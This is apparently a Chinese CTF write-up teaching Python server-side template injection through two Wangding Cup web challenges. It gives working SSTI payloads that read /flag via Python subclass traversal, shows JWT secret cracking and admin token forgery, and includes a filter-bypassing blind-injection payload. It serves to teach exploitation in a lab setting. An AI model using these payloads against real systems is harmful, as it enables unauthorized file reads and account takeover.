之前接触的大部分是PHP写的服务器端,而除了PHP,Python也可以作为服务器端的语言,利用的是Python的flask模块渲染html模板,同时也可能存在Python语句执行的漏洞,这就是SSTI漏洞,即服务器端模板注入,本篇文章通过网鼎杯的两道SSTI题简单学习了解一下Python沙箱逃逸的原理
网鼎杯第二场Web:calc
题目如下,是一个计算器,可以执行一些简单的算式,根据题目的提示,可能对我们的输入存在正则匹配过滤,需要我们注意正则表达式

1 | ^[0-9.]+\s*[*+-/]\s*[0-9.]+ |
这里的正则表达式存在两个问题
1.首先是[*+-/],我们知道’-‘在正则表达式里有特别的意义,表示范围,而在这里并没有被转义,说明是从’+’-‘/‘的字符
2.正则表达式并没有给出$结尾符,说明我们只需要符合前面的匹配,后面可以任意构造语句执行
我们可以试着访问index.php
出现了报错信息

从报错信息可以看出,这里是python写的web
这里先给出payload:
1 | 1+1,().__class__.__base__.__subclasses__()[40]('/flag').read() |

下面我们在Python 2.7环境中一步步看看
1 | ().__class__.__base__.__subclasses__()[40]('/flag').read() |
为什么就能读取flag
1 | ().__class__ |
我们可以发现
1 | ().__class__.__base__.__subclasses__()[40] |
返回的是file类型,我们在后面传入文件名,就相当于读取文件
这就是python沙箱逃逸的原理
具体可以参考https://www.aliyun.com/jiaocheng/437857.html
网鼎杯第三场:mmmmy

题目是一个登陆页面,随手试一下用户名test,密码test,成功登录,点击留言,提示只有admin用户才能留言,猜测必须用admin用户登陆,抓包观察


发现登陆时同时设置了cookie的token字段,而在此访问时,服务器根据token字段识别test用户,观察token值,是经过JWT加密后的值,首先使用 c-jwt-cracker 爆破 secret key,结果为
6a423,然后到https://jwt.io/进行加密

加密后的token值替换原本test的token值伪造admin用户登陆

然后这里的留言post的text存在SSTI漏洞,但是这里过滤了双花括号的写法,我们可以换成流程控制结构的写法 执行语句 ,测试如下:

后面的数据就要依靠盲注出来了
1 | text={% if ().__class__.__base__.__subclasses__()[40]('/flag').read()[0]=='f' %}1{% else %}0{% endif %} |
但是这里还过滤了一些关键字,例如’_’,所以我们可以将这些关键属性class,base等放入别的参数,从而绕过对text参数过滤
使用payload如下:
1 | text={% if request.values.e[18] == ()[request.values.a][request.values.b][request.values.c]()[40](request.values.d).read()[0] %}good{% endif %}&a=__class__&b=__base__&c=__subclasses__&d=/flag&e=}-{0123456789abcdefghijklmnopqrstuvwxyz |
脚本如下:
1 | import requests |